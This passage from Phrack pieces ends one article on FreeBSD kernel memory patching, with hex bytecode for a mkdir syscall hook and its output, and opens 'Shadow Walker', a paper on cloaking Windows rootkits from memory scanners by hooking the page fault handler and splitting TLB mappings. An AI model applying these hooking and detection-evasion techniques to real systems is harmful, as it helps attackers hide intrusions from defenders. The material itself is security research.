"\x20" /* sp */

"\x25" /* %

"\x73" /* s */

"\x0a" /* nl */

"\x00" /* null */

"\x55" /* push %ebp */

"\x89\xe5" /* mov %esp,%ebp */

"\x83\xec\x08" /* sub $0x8,%esp */

"\x8b\x45\x0c" /* mov 0xc(%ebp),%eax */

"\x8b\x00" /* mov (%eax),%eax */

"\xc7\x04\x24\x0d\x00\x00\x00" /* movl $0xd,(%esp) */

"\x89\x44\x24\x04" /* mov %eax,0x4(%esp) */

"\xe8\xfc\xff\xff\xff" /* call 17 <hacked_mkdir+0x17>*/

"\x31\xc0" /* xor %eax,%eax */

"\x83\xc4\x08" /* add $0x8,%esp */

"\x5d"; /* pop %ebp */

The first 20 bytes is for the string to be printed, because of this when we jump to this function we have to start at an offset of 0x14, as illustrated from this line of code:

*(unsigned long *)&jp_code[1] = (unsigned long)kma.addr + 0x14;

The last three statements in the hacked_mkdir bytecode zeros out the eax register, cleans up the stack, and restores the ebp register. This is done so that when mkdir actually executes its as if nothing has already occurred.

One thing to remember about character arrays in C is that they are all null terminated. For example if we declare the following variable,

unsigned char example[] = "\x41";

sizeof(example) will return 2. This is the reason why in test_hook we subtract 1 from sizeof(ha_code), otherwise we would be writing to the wrong spot.

The following is the output before and after running test_hook:

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ghost@slavetwo:~#ls

test_hook.c

ghost@slavetwo:~#gcc ‑o test_hook test_hook.c ‑lkvm ghost@slavetwo:~#mkdir before

ghost@slavetwo:~#ls ‑F

before/ test_hook* test_hook.c

ghost@slavetwo:~#sudo ./test_hook

Password:

I love the PowerGlove. It's so bad!

ghost@slavetwo:~#mkdir after

MKDIR SYSCALL : after

ghost@slavetwo:~#ls ‑F

after/ before/ test_hook* test_hook.c ghost@slavetwo:~#

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

One could also use find_syscall and ddb to verify the results of test_hook

‑‑[ 6.0 ‑ Concluding Remarks

Being able to patch and allocate kernel memory gives one a lot of power over a system. All the examples in this article are trivial as it was my intention to show the how not the what. Other authors have better ideas than me anyways on what to do (see References).

I would like to take this space to apologize if any of my explanations are unclear, hopefully reading over the source code and looking at the output makes up for it.

Finally, I would like to thank Silvio Cesare, pragmatic, and Stephanie Wehner, for the inspiration/ideas.

‑‑[ 7.0 ‑ References

[ Internet ]

[1] Silvio Cesare, "Runtime Kernel Kmem Patching" http://reactor‑core.org/runtime‑kernel‑patching.html

[2] devik & sd, "Linux on‑th‑fly kernel patching without LKM" http://www.phrack.org/show.php?p=58&a=7

[3] pragmatic, "Attacking FreeBSD with Kernel Modules" http://www.thc.org/papers/bsdkern.html

[4] Andrew Reiter, "Dynamic Kernel Linker (KLD) Facility Programming Tutorial" http://ezine.daemonnews.org/200010/blueprints.html

[5] Stephanie Wehner, "Fun and Games with FreeBSD Kernel Modules" http://www.r4k.net/mod/fbsdfun.html

[ Books ]

[6] Muhammad Ali Mazidi & Janice Gillispie Mazidi, "The 80x86 IBM PC And Compatible Computers: Assembly Language, Design, And Interfacing" (Prentice Hall)

Raising The Bar For Windows Rootkit Detection

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Shadow Walker ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑=[ Raising The Bar For Windows Rootkit Detection ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑=[ Sherri Sparks <ssparks at mail.cs.ucf dot edu > ]=‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑=[ Jamie Butler <james.butler at hbgary dot com > ]=‑‑‑‑‑‑‑‑‑=|

0 ‑ Introduction & Background On Rootkit Technology

0.1 ‑ Motivations

1 ‑ Rootkit Detection

1.1 ‑ Detecting The Effect Of A Rootkit (Heuristics)

1.2 ‑ Detecting The Rootkit Itself (Signatures)

2 ‑ Memory Architecture Review

2.1 ‑ Virtual Memory ‑ Paging vs. Segmentation

2.2 ‑ Page Tables & PTE's

2.3 ‑ Virtual to Physical Address Translation

2.4 ‑ The Role of the Page Fault Handler

2.5 ‑ The Paging Performance Problem & the TLB

3 ‑ Memory Cloaking Concept

3.1 ‑ Hiding Executable Code

3.2 ‑ Hiding Pure Data

3.3 ‑ Related Work

3.4 ‑ Proof of Concept Implementation

3.4.a ‑ Modified FU Rootkit

3.4.b ‑ Shadow Walker Memory Hook Engine

4 ‑ Known Limitations & Performance Impact

5 ‑ Detection

6 ‑ Conclusion

7 ‑ References

8 ‑ Acknowlegements

‑‑[ 0 ‑ Introduction & Background

Rootkits have historically demonstrated a co‑evolutionary adaptation and response to the development of defensive technologies designed to apprehend their subversive agenda. If we trace the evolution of rootkit technology, this pattern is evident. First generation rootkits were primitive. They simply replaced / modified key system files on the victim's system. The UNIX login program was a common target and involved an attacker replacing the original binary with a maliciously enhanced version that logged user passwords. Because these early rootkit modifications were limited to system files on disk, they motivated the development of file system integrity checkers such as Tripwire [1].

In response, rootkit developers moved their modifications off disk to the memory images of the loaded programs and, again, evaded detection. These 'second' generation rootkits were primarily based upon hooking techniques that altered the execution path by making memory patches to loaded applications and some operating system components such as the system call table. Although much stealthier, such modifications remained detectable by searching for heuristic abnormalities. For example, it is suspicious for the system service table to contain pointers that do not point to the operating system kernel. This is the technique used by VICE [2].

Third generation kernel rootkit techniques like Direct Kernel Object Manipulation (DKOM), which was implemented in the FU rootkit [3], capitalize on the weaknesses of current detection software by modifying dynamically changing kernel data structures for which it is impossible to establish a static trusted baseline.

‑‑‑‑[ 0.1 ‑ Motivations

There are public rootkits which illustrate all of these various techniques, but even the most sophisticated Windows kernel rootkits, like FU, possess an inherent flaw. They subvert essentially all of the operating system's subsystems with one exception: memory management. Kernel rootkits can control the execution path of kernel code, alter kernel data, and fake system call return values, but they have not (yet) demonstrated the capability to 'hook' or fake the contents of memory seen by other running applications. In other words, public kernel rootkits are sitting ducks for in memory signature scans. Only now are security companies beginning to

think of implementing memory signature scans.

Hiding from memory scans is similar to the problem faced by early viruses attempting to hide on the file system. Virus writers reacted to anti‑virus programs scanning the file system by developing polymorphic and metamorphic techniques to evade detection. Polymorphism attempts to alter the binary image of a virus by replacing blocks of code with functionally equivalent blocks that appear different (i.e. use different opcodes to perform the same task). Polymorphic code, therefore, alters the superficial appearance of a block of code, but it does not fundamentally alter a scanner's view of

that region of system memory.

Traditionally, there have been three general approaches to malicious code detection: misuse detection, which relies upon known code signatures, anomaly detection, which relies upon heuristics and statistical deviations from 'normal' behavior, and integrity checking which relies upon comparing current snapshots of the file system or memory with a known, trusted baseline. A polymorphic rootkit (or virus) effectively evades signature based detection of its code body, but falls short in anomaly or integrity detection schemes because it cannot easily camouflage the changes it makes to existing binary code in other system components.

Now imagine a rootkit that makes no effort to change its superficial appearance, yet is capable of fundamentally altering a detectors view of an arbitrary region of memory. When the detector attempts to read any region of memory modified by the rootkit, it sees a 'normal', unaltered view of memory. Only the rootkit sees the true, altered view of memory. Such a rootkit is clearly capable of compromising all of the primary detection methodologies to varying degrees. The implications to misuse detection are obvious. A scanner attempts to read the memory for the loaded rootkit driver looking for a code signature and the rootkit simply returns a random, 'fake' view of memory (i.e. which does not include its own code) to the scanner. There are also implications for integrity validation approaches to detection. In these cases, the rootkit returns the unaltered view of memory to all processes other than itself. The integrity checker sees the unaltered code, finds a matching CRC or hash, and (erroneously) assumes that all is well. Finally, any anomaly detection methods which rely upon identifying deviant structural characteristics will be fooled since they will receive a 'normal' view of the code. An example of this might be a scanner like VICE which attempts to heuristically identify inline function hooks by the presence of a direct jump at the beginning of

the function body.

Current rootkits, with the exception of Hacker Defender [4], have made little or no effort to introduce viral polymorphism techniques. As stated previously, while a valuable technique, polymorphism is not a comprehensive solution to the problem for a rootkit because the rootkit cannot easily camouflage the changes it must make to existing code in order to install its hooks. Our objective, therefore, is to show proof of concept that the current architecture permits subversion of memory management such that a non polymorphic kernel mode rootkit (or virus) is capable of controlling the view of memory regions seen by the operating system and other processes with a minimal performance hit. The end result is that it is possible to hide a 'known' public rootkit driver (for which a code signature exists) from detection. To this end, we have designed an 'enhanced' version of the FU rootkit. In section 1, we discuss the basic techniques used to detect a rootkit. In section 2, we give a background summary of the x86 memory architecture. Section 3 outlines the concept of memory cloaking and proof of concept implementation for our enhanced rootkit. Finally, we conclude with a discussion of its detectability, limitations, future extensibility, and performance impact. Without further ado, we bid you

welcome to 4th generation rootkit technology.

‑‑[ 1 ‑ Rootkit Detection

Until several months ago, rootkit detection was largely ignored by security vendors. Many mistakenly classified rootkits in the same category as other viruses and malware. Because of this, security companies continued to use the same detection methods the most prominent one being signature scans on the file system. This is only partially effective. Once a rootkit is loaded in memory is can delete itself on disk, hide its files, or even divert an attempt to open the rootkit file. In this section, we will examine more

recent advances in rootkit detection.

‑‑‑‑[ 1.2 ‑ Detecting The Effect Of A Rootkit (Heuristics)

One method to detect the presence of a rootkit is to detect how it alters other parameters on the computer system. In this way, the effects of the rootkit are seen although the actual rootkit that caused the deviation may not be known. This solution is a more general approach since no signature for a particular rootkit is necessary. This technique is also looking for the rootkit in memory and not on the file system.

One effect of a rootkit is that it usually alters the execution path of a normal program. By inserting itself in the middle of a program's execution, the rootkit can act as a middle man between the kernel functions the program relies upon and the program. With this position of power, the rootkit can alter what the program sees and does. For example, the rootkit could return a handle to a log file that is different from the one the program intended to open, or the rootkit could change the destination of network communication. These rootkit patches or hooks cause extra instructions to be executed. When a patched function is compared to a normal function, the difference in the number of instructions executed can be indicative of a rootkit. This is the technique used by PatchFinder [5]. One of the drawbacks of PatchFinder is that the CPU must be put into single step mode in order to count instructions. So for every instruction executed an interrupt is fired and must be handled. This slows the performance of the system, which may be unacceptable on a production machine. Also, the actual number of instructions executed can vary even on a clean system. Another rootkit detection tool called VICE detects the presence of hooks in applications and in the kernel . VICE analyzes the addresses of the functions exported by the operating system looking for hooks. The exported functions are typically the target of rootkits because by filtering certain APIs rootkits can hide. By finding the hooks themselves, VICE avoids the problems associated with instruction counting. However, VICE also relies upon several APIs so it is possible for a rootkit to defeat its hook detection [6]. Currently the biggest weakness of VICE is that it detects all hooks both malicious and benign. Hooking is a legitimate technique used

by many security products.

Another approach to detecting the effects of a rootkit is to identify the operating system lying. The operating system exposes a well‑known API in order for applications to interact with it. When the rootkit alters the results of a particular API, it is a lie. For example, Windows Explorer may request the number of files in a directory using several functions in the Win32 API. If the rootkit changes the number of files that the application can see, it is a lie. To detect the lie, a rootkit detector needs at least two ways to obtain the same information. Then, both results can be compared. RootkitRevealer [7] uses this technique. It calls the highest level APIs and compares those results with the results of the lowest level APIs. This method can be bypassed by a rootkit if it also hooks at those lowest layers. RootkitRevealer also does not address data alterations. The FU rootkit alters the kernel data structures in order to hide its processes. RootkitRevealer does not detect this because both the higher and lower layer APIs return the same altered data set. Blacklight from F‑Secure [8] also tries to detect deviations from the truth. To detect hidden processes, it relies on an undocumented kernel structure. Just as FU walks the linked list of processes to hide, Blacklight walks a linked list of handle tables in the kernel. Every process has a handle table; therefore, by identifying all the handle tables Blacklight can find a pointer to every process on the computer. FU has been updated to also unhook the hidden process from the linked list of handle tables. This arms race will continue.

‑‑‑‑[ 1.2 ‑ Detecting the Rootkit Itself (Signatures)

Anti‑virus companies have shown that scanning file systems for signatures can be effective; however, it can be subverted. If the attacker camouflages the binary by using a packing routine, the signature may no longer match the rootkit. A signature of the rootkit as it will execute in memory is one way to solve this problem. Some host based intrusion prevention systems (HIPS) try to prevent the rootkit from loading. However, it is extremely difficult to block all the ways code can be loaded in the kernel . Recent papers by Jack Barnaby [9] and Chong [10] have highlighted the threat of kernel exploits, which will allow arbitrary code to be loaded into memory

and executed.

Although file system scans and loading detection are needed, perhaps the last layer of detection is scanning memory itself. This provides an added layer of security if the rootkit has bypassed the previous checks. Memory signatures are more reliable because the rootkit must unpack or unencrypt in order to execute. Not only can scanning memory be used to find a rootkit, it can be used to verify the integrity of the kernel itself since it has a known signature. Scanning kernel memory is also much faster than scanning everything on disk. Arbaugh et. al. [11] have taken this technique to the next level by implementing the scanner on a separate card with its own CPU.

The next section will explain the memory architecture on Intel x86.

‑‑[ 2 ‑ Memory Architecture Review

In early computing history, programmers were constrained by the amount of physical memory contained in a system. If a program was too large to fit into memory, it was the programmer's responsibility to divide the program into pieces that could be loaded and unloaded on demand. These pieces were called overlays. Forcing this type of memory management upon user level programmers increased code complexity and programming errors while reducing efficiency. Virtual memory was invented to relieve programmers of these

burdens.

‑‑‑‑[ 2.1 ‑ Virtual Memory ‑ Paging vs. Segmentation

Virtual memory is based upon the separation of the virtual and physical address spaces. The size of the virtual address space is primarily a function of the width of the address bus whereas the size of the physical address space is dependent upon the quantity of RAM installed in the system. Thus, a system possessing a 32 bit bus is capable of addressing 2^32 (or ~4 GB) physical bytes of contiguous memory. It may, however, not have anywhere near that quantity of RAM installed. If this is the case, then the virtual address space will be larger than the physical address space. Virtual memory divides both the virtual and physical address spaces into fixed size blocks. If these blocks are all the same size, the system is said to use a paging memory model. If the blocks are varying sizes, it is considered to be a segmentation model. The x86 architecture is in fact a hybrid, utlizing both segementation and paging, however, this article focuses primarily upon exploitation of its paging mechanism.

Under a paging model, blocks of virtual memory are referred to as pages and blocks of physical memory are referred to as frames. Each virtual page maps to a designated physical frame. This is what enables the virtual address space seen by programs to be larger than the amount of physically addressable memory (i.e. there may be more pages than physical frames). It also means that virtually contiguous pages do not have to be physically contiguous. These points are illustrated by Figure 1.

VIRTUAL ADDRESS PHYSICAL ADDRESS

SPACE SPACE

/‑‑‑‑‑‑‑‑‑‑‑‑‑\

| |

| PAGE 01 |‑‑‑\ /‑‑‑‑‑‑‑‑‑‑‑>>>| FRAME 01 |

| | | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | |

| | | |

| PAGE 02 |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>>>| FRAME 02 |

| | | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | |

| | | |

| PAGE 03 | \‑‑‑|‑‑‑‑‑‑‑‑‑‑‑>>>| FRAME 03 |

| | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| | |

| PAGE 04 | |

| | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| | |

| PAGE 05 |‑‑‑‑‑‑‑/

| |

\‑‑‑‑‑‑‑‑‑‑‑‑‑/

[ Figure 1 ‑ Virtual To Physical Memory Mapping (Paging) ]

[

[ NOTE: 1. Virtual & physical address spaces are divided into ] [ fixed size blocks. 2. The virtual address space may be larger ] [ than the physical address space. 3. Virtually contiguous ] [ blocks to not have to be mapped to physically contiguous ]

[ frames.

‑‑‑‑[ 2.2 ‑ Page Tables & PTE's

The mapping information that connects a virtual address with its physical frame is stored in page tables in structures known as PTE's. PTE's also store status information. Status bits may indicate, for example, weather or not a page is valid (physically present in memory versus stored on disk), if it is writable, or if it is a user / supervisor page. Figure 2 shows the

format for an x86 PTE.

Valid <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Read/Write <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Privilege <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Write Through <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\

Cache Disabled <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\ |

Accessed <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\

Dirty <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\ |

Reserved <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\ | |

Global <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\ | | |

Reserved <‑‑‑‑‑‑‑‑‑‑\ | | | |

Reserved <‑‑‑‑‑\ | | | | |

Reserved <‑\ | | | | | |

| | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑+‑

| | | | | | U | R | |

| PAGE FRAME # | U | P | Cw | Gl | L | D | A | Cd | Wt| / | / | V |

| | | | | | S | W | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ Figure 2 ‑ x86 PTE FORMAT (4 KBYTE PAGE) ]

‑‑‑‑[ 2.4 ‑ Virtual To Physical Address Translation

Virtual addresses encode the information necessary to find their PTE's in the page table. They are divided into 2 basic parts: the virtual page number and the byte index. The virtual page number provides the index into the page table while the byte index provides an offset into the physical frame. When a memory reference occurs, the PTE for the page is looked up in the page table by adding the page table base address to the virtual page number * PTE entry size. The base address of the page in physical memory is then extracted from the PTE and combined with the byte offset to define the physical memory address that is sent to the memory unit. If the virtual address space is particularly large and the page size relatively small, it stands to reason that it will require a large page table to hold all of the mapping information. And as the page table must remain resident in main memory, a large table can be costly. One solution to this dilemma is to use a multi‑level paging scheme. A two‑level paging scheme, in effect, pages the page table. It further subdivides the virtual page number into a page directory and a page table index. The page directory is simply a table of pointers to page tables. This two level paging scheme is the one supported by the x86. Figure 3 illustrates how the virtual address is divided up to index the page directory and page tables and Figure 4 illustrates the

process of address translation.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 31 12 | 0

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | PAGE DIRECTORY | | PAGE TABLE | | | BYTE INDEX |

| | INDEX | | INDEX | | | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 10 bits 10 bits | 12 bits

|

| VIRTUAL PAGE NUMBER |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ Figure 3 ‑ x86 Address & Page Table Indexing Scheme ]

+‑‑‑‑‑‑‑‑+

/‑|KPROCESS|

| +‑‑‑‑‑‑‑‑+

| Virtual Address

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | Page Directory | Page Table | Byte Index |

| | Index | Index | |

| +‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

| | +‑‑‑+ |

| | |CR3| Physical | |

| | +‑‑‑+ Address Of | |

| | Page Dir | |

| | |

| | |

| | Page Directory | Page Table | Physical Memory

\‑‑‑|‑>+‑‑‑‑‑‑‑‑‑‑‑‑+ | /‑‑>+‑‑‑‑‑‑

| | | | | |

| | | | | |

| | | | | |

| | | | | |

| |‑‑‑‑‑‑‑‑‑‑‑‑| | | | Page |

\‑>| PDN |‑‑‑|‑/ | | | Frame |

|‑‑‑‑‑‑‑‑‑‑‑‑| | |

| | | |

| | | |

| | | |

| | | |

| | | |‑‑‑‑‑‑

| | \‑‑‑‑>| PFN ‑‑‑‑‑‑‑/ | |

| | |‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

(1 per process) (512 per processs)

[ Figure 4 ‑ x86 Address Translation ]

A memory access under a 2 level paging scheme potentially involves the

following sequence of steps.

1. Lookup of page directory entry (PDE).

Page Directory Entry = Page Directory Base Address + sizeof(PDE) * Page Directory Index (extracted from virtual address that caused the memory access)

NOTE: Windows maps the page directory to virtual address 0xC0300000. Base addresses for page directories are also located in KPROCESS blocks and the register cr3 contains the physical address of the current page directory.

2. Lookup of page table entry.

Page Table Entry = Page Table Base Address + sizeof(PTE) * Page Table Index (extracted from virtual address that caused the memory access). NOTE: Windows maps the page directory to virtual address 0xC0000000. The base physical address for the page table is also stored in the page

directory entry.

3. Lookup of physical address.

Physical Address = Contents of PTE + Byte Index

NOTE: PTEs hold the physical address for the physical frame. This is combined with the byte index (offset into the frame) to form the complete physical address. For those who prefer code to explanation, the following two routines show how this translation occurs. The first routine, GetPteAddress performs steps 1 and 2 described above. It returns a pointer to the page table entry for a given virtual address. The second routine returns the base physical address of the frame to which the page is mapped.

#define PROCESS_PAGE_DIR_BASE 0xC0300000 #define PROCESS_PAGE_TABLE_BASE 0xC0000000 typedef unsigned long* PPTE;

/***************************************

* GetPteAddress ‑ Returns a pointer to the page table entry corresponding

* to a given memory address.

*

* Parameters:

* PVOID VirtualAddress ‑ Address you wish to acquire a pointer to the

* page table entry for.

*

* Return ‑ Pointer to the page table entry for VirtualAddress or an error

* code.

*

* Error Codes:

* ERROR_PTE_NOT_PRESENT ‑ The page table for the given virtual

* address is not present in memory.

* ERROR_PAGE_NOT_PRESENT ‑ The page containing the data for the

* given virtual address is not present in

* memory.

****************************************

PPTE GetPteAddress( PVOID VirtualAddress )

{

PPTE pPTE = 0;

__asm

{

cli //disable interrupts

pushad

mov esi, PROCESS_PAGE_DIR_BASE

mov edx, VirtualAddress

mov eax, edx

shr eax, 22

lea eax, [esi + eax*4] //pointer to page directory entry

test [eax], 0x80 //is it a large page?

jnz Is_Large_Page //it's a large page

mov esi, PROCESS_PAGE_TABLE_BASE

shr edx, 12

lea eax, [esi + edx*4] //pointer to page table entry (PTE)

mov pPTE, eax

jmp Done

//NOTE: There is not a page table for large pages because

//the phys frames are contained in the page directory.

Is_Large_Page:

mov pPTE, eax

Done:

popad

sti //reenable interrupts

}//end asm

return pPTE;

}//end GetPteAddress

/***************************************

* GetPhysicalFrameAddress ‑ Gets the base physical address in memory where * the page is mapped. This corresponds to the * bits 12 ‑ 32 in the page table entry. *

* Parameters ‑

* PPTE pPte ‑ Pointer to the PTE that you wish to retrieve the

* physical address from.

*

* Return ‑ The physical address of the page.

****************************************

ULONG GetPhysicalFrameAddress( PPTE pPte )

{

ULONG Frame = 0;

__asm

{

cli

pushad

mov eax, pPte

mov ecx, [eax]

shr ecx, 12 //physical page frame consists of the

//upper 20 bits

mov Frame, ecx

popad

sti

}//end asm

return Frame;

}//end GetPhysicalFrameAddress

‑‑‑‑[ 2.5 ‑ The Role Of The Page Fault Handler

Since many processes only use a small portion of their virtual address space, only the used portions are mapped to physical frames. Also, because physical memory may be smaller than the virtual address space, the OS may move less recently used pages to disk (the pagefile) to satisfy current memory demands. Frame allocation is handled by the operating system. If a process is larger than the available quantity of physical memory, or the operating system runs out of free physical frames, some of the currently allocated frames must be swapped to disk to make room. These swapped out pages are stored in the page file. The information about whether or not a page is resident in main memory is stored in the page table entry. When a memory access occurs, if the page is not present in main memory a page fault is generated. It is the job of the page fault handler to issue the I/O requests to swap out a less recently used page if all of the available physical frames are full and then to bring in the requested page from the pagefile. When virtual memory is enabled, every memory access must be looked up in the page table to determine which physical frame it maps to and whether or not it is present in main memory. This incurs a substantial performance overhead, especially when the architecture is based upon a multi‑level page table scheme like the Intel Pentium. The memory access

page fault path can be summarized as follows.

1. Lookup in the page directory to determine if the page table for the

address is present in main memory.

2. If not, an I/O request is issued to bring in the page table from disk. 3. Lookup in the page table to determine if the requested page is present

in main memory.

4. If not, an I/O request is issued to bring in the page from disk. 5. Lookup the requested byte (offset) in the page.

Therefore every memory access, in the best case, actually requires 3 memory accesses : 1 to access the page directory, 1 to access the page table, and 1 to get the data at the correct offset. In the worst case, it may require an additional 2 disk I/Os (if the pages are swapped out to disk). Thus,

virtual memory incurs a steep performance hit.

‑‑‑‑[ 2.6 ‑ The Paging Performance Problem & The TLB

The translation lookaside buffer (TLB) was introduced to help mitigate this problem. Basically, the TLB is a hardware cache which holds frequently used virtual to physical mappings. Because the TLB is implemented using extremely fast associative memory, it can be searched for a translation much faster than it would take to look that translation up in the page tables. On a memory access, the TLB is first searched for a valid translation. If the translation is found, it is termed a TLB hit. Otherwise, it is a miss. A TLB hit, therefore, bypasses the slower page table lookup. Modern TLB's have an extremely high hit rate and therefore seldom incur miss penalty of looking up the translation in the

page table.

‑‑[ 3 ‑ Memory Cloaking Concept

One goal of an advanced rootkit is to hide its changes to executable code (i.e. the placement of an inline patch, for example). Obviously, it may also wish to hide its own code from view. Code, like data, sits in memory and we may define the basic forms of memory access as:

‑ EXECUTE

‑ READ

‑ WRITE

Technically speaking, we know that each virtual page maps to a physical page frame defined by a certain number of bits in the page table entry. What if we could filter memory accesses such that EXECUTE accesses mapped to a different physical frame than READ / WRITE accesses? From a rootkit's perspective, this would be highly advantageous. Consider the case of an inline hook. The modified code would run normally, but any attempts to read (i.e. detect) changes to the code would be diverted to a 'virgin' physical frame that contained a view of the original, unaltered code. Similarly, a rootkit driver might hide itself by diverting READ accesses within its memory range off to a page containing random garbage or to a page containing a view of code from another 'innocent' driver. This would imply that it is possible to spoof both signature scanners and integrity monitors. Indeed, an architectural feature of the Pentium architecture makes it possible for a rootkit to perform this little trick with a minimal impact on overall system performance. We describe the details in the next

section.

‑‑‑‑[ 3.1 ‑ Hiding Executable Code

Ironically, the general methodology we are about to discuss is an offensive extension of an existing stack overflow protection scheme known as PaX. We briefly discuss the PaX implementation in 3.3 under related work.

In order to hide executable code, there are at least 3 underlying issues which must be addressed:

1. We need a way to filter execute and read / write accesses. 2. We need a way to "fake" the read / write memory accesses when we detect them.

3. We need to ensure that performance is not adversly affected.

The first issue concerns how to filter execute accesses from read / write accesses. When virtual memory is enabled, memory access restrictions are enforced by setting bits in the page table entry which specify whether a given page is read‑only or read‑write. Under the IA‑32 architecture, however, all pages are executable. As such, there is no official way to filter execute accesses from read / write accesses and thus enforce the execute‑only / diverted read‑write semantics necessary for this scheme to work. We can, however, trap and filter memory accesses by marking their PTE's non present and hooking the page fault handler. In the page fault handler we have access to the saved instruction pointer and the faulting address. If the instruction pointer equals the faulting address, then it is an execute access. Otherwise, it is a read / write. As the OS uses the present bit in memory management, we also need to differentiate between page faults due to our memory hook and normal page faults. The simplest way is to require that all hooked pages either reside in non paged memory or be explicitly locked down via an API like MmProbeAndLockPages.

The next issue concerns how to "fake" the EXECUTE and READ / WRITE accesses when we detect them (and do so with a minimal performance hit). In this case, the Pentium TLB architecture comes to the rescue. The pentium possesses a split TLB with one TLB for instructions and the other for data. As mentioned previously, the TLB caches the virtual to physical page frame mappings when virtual memory is enabled. Normally, the ITLB and DTLB are synchronized and hold the same physical mapping for a given page. Though the TLB is primarily hardware controlled, there are several software

mechanisms for manipulating it.

‑ Reloading cr3 causes all TLB entries except global entries to be flushed. This typically occurs on a context switch.

‑ The invlpg causes a specific TLB entry to be flushed.

‑ Executing a data access instruction causes the DTLB to be loaded with the mapping for the data page that was accessed.

‑ Executing a call causes the ITLB to be loaded with the mapping for the page containing the code executed in response to the call.

We can filter execute accesses from read / write accesses and fake them by desynchronizing the TLB's such that the ITLB holds a different virtual to physical mapping than the DTLB. This process is performed as follows:

First, a new page fault handler is installed to handle the cloaked page accesses. Then the page‑to‑be‑hooked is marked not present and it's TLB entry is flushed via the invlpg instruction. This ensures that all subsequent accesses to the page will be filtered through the installed page fault handler. Within the installed page fault handler, we determine whether a given memory access is due to an execute or read/write by comparing the saved instruction pointer with the faulting address. If they match, the memory access is due to an execute. Otherwise, it is due to a read / write. The type of access determines which mapping is manually loaded into the ITLB or DTLB. Figure 5 provides a conceptual view of this strategy.

Lastly, it is important to note that TLB access is much faster than performing a page table lookup. In general, page faults are costly. Therefore, at first glance, it might appear that marking the hidden pages not present would incur a significant performance hit. This is, in fact, not the case. Though we mark the hidden pages not present, for most memory accesses we do not incur the penalty of a page fault because the entries are cached in the TLB. The exceptions are, of course, the initial faults that occur after marking the cloaked page not present and any subsequent faults which result from cache line evictions when a TLB set becomes full. Thus, the primary job of the new page fault handler is to explicitly and selectively load the DTLB or ITLB with the correct mappings for hidden pages. All faults originating on other pages are passed down to the operating system page fault handler.

rootkit code | FRAME 1 |

Is it a +‑‑‑‑‑‑‑‑‑‑‑+ /‑‑‑‑‑‑‑‑‑‑‑‑‑>

code | | |

access? | ITLB | | | FRAME 2 |

/‑‑‑‑‑‑>|‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑/

| | VPN=12 | |‑‑‑‑‑‑‑‑‑

| | Frame=1 | | FRAME 3 |

| +‑‑‑‑‑‑‑‑‑‑‑+

| +‑‑‑‑‑

MEMORY | PAGE TABLES | | FRAME 4 |

ACCESS +‑‑‑‑‑‑‑‑‑‑‑‑‑+

VPN=12

| FRAME 5 |

| +‑‑‑‑‑‑‑‑‑‑‑+

| | |

| | DTLB | random garbage | FRAME 6 |

|‑‑‑‑‑‑>|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Is it a | VPN=12 | |‑‑‑‑‑‑‑‑‑

data | Frame=6 | | FRAME N |

access? +‑‑‑‑‑‑‑‑‑‑‑+

